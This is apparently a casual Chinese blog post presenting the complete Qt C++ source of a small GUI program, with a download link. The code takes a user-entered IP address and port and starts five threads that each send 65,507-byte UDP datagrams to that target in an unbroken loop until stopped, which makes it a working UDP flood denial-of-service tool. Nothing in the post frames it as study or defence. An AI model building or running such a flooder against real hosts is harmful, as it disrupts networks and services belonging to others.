没有事情做 随手写的小程序

Qt  代码包  https://download.csdn.net/download/nn_84/88830445

dialog.h :

#ifndef DIALOG_H
#define DIALOG_H
 
#include 
#include 
 
 
 
QT_BEGIN_NAMESPACE
namespace Ui {
class Dialog;
}
QT_END_NAMESPACE
 
class Dialog : public QDialog
{
    Q_OBJECT
 
public:
    Dialog(QWidget *parent = nullptr);
    ~Dialog();
    mythread thread1;
    mythread thread2;
    mythread thread3;
    mythread thread4;
    mythread thread5;
private slots:
    void on_pushButton_1_clicked();
 
    void on_pushButton_clicked();
 
private:
    Ui::Dialog *ui;
};
#endif // DIALOG_H

mythread.h  :

#ifndef MYTHREAD_H
#define MYTHREAD_H
 
#include 
#include 
#include 
#include 
#include 
 
 
 
 
 
 
class mythread : public QThread
{
    Q_OBJECT
public:
    mythread();
    QString name;
    bool boolvalue;
    QByteArray buffer;
    QUdpSocket *socket;
 
    QString address;
    QString port;
 
public slots:
    void run ();
};
 
#endif // MYTHREAD_H

dialog.cpp :

#include "dialog.h"
#include "ui_dialog.h"
 
Dialog::Dialog(QWidget *parent)
    : QDialog(parent)
    , ui(new Ui::Dialog)
{
    ui->setupUi(this);
    thread1.boolvalue = false;
    thread2.boolvalue = false;
    thread3.boolvalue = false;
    thread4.boolvalue = false;
    thread5.boolvalue = false;
}
 
Dialog::~Dialog()
{
    delete ui;
}
 
void Dialog::on_pushButton_1_clicked()
{
    thread1.boolvalue = true;
    thread1.name = "1";
    thread1.address = ui->lineEdit->text();
    thread1.port = ui->lineEdit_2->text();
    thread1.start();
 
    thread2.boolvalue = true;
    thread2.name = "2";
    thread2.address = ui->lineEdit->text();
    thread2.port = ui->lineEdit_2->text();
    thread2.start();
 
    thread3.boolvalue = true;
    thread3.name = "3";
    thread3.address = ui->lineEdit->text();
    thread3.port = ui->lineEdit_2->text();
    thread3.start();
 
    thread4.boolvalue = true;
    thread4.name = "4";
    thread4.address = ui->lineEdit->text();
    thread4.port = ui->lineEdit_2->text();
    thread4.start();
 
    thread5.boolvalue = true;
    thread5.name = "5";
    thread5.address = ui->lineEdit->text();
    thread5.port = ui->lineEdit_2->text();
    thread5.start();
 
}
 
 
void Dialog::on_pushButton_clicked()
{
    thread1.boolvalue = false;
    thread2.boolvalue = false;
    thread3.boolvalue = false;
    thread4.boolvalue = false;
    thread5.boolvalue = false;
}

mythread.cpp  :

#include "mythread.h"
 
mythread::mythread()
{
    socket = new QUdpSocket(this);
}
 
 
void mythread::run()
{
    for(int i=0;i<65507;i++)
    {
        buffer.append("a");
    }
    while(boolvalue){
        socket->writeDatagram(buffer,QHostAddress(address),port.toInt());
    }
}

.pro  :

QT       += core gui network
 
greaterThan(QT_MAJOR_VERSION, 4): QT += widgets
 
CONFIG += c++17
 
# You can make your code fail to compile if it uses deprecated APIs.
# In order to do so, uncomment the following line.
#DEFINES += QT_DISABLE_DEPRECATED_BEFORE=0x060000    # disables all the APIs deprecated before Qt 6.0.0
 
SOURCES += \
    main.cpp \
    dialog.cpp \
    mythread.cpp
 
HEADERS += \
    dialog.h \
    mythread.h
 
FORMS += \
    dialog.ui
 
# Default rules for deployment.
qnx: target.path = /tmp/$${TARGET}/bin
else: unix:!android: target.path = /opt/$${TARGET}/bin
!isEmpty(target.path): INSTALLS += target

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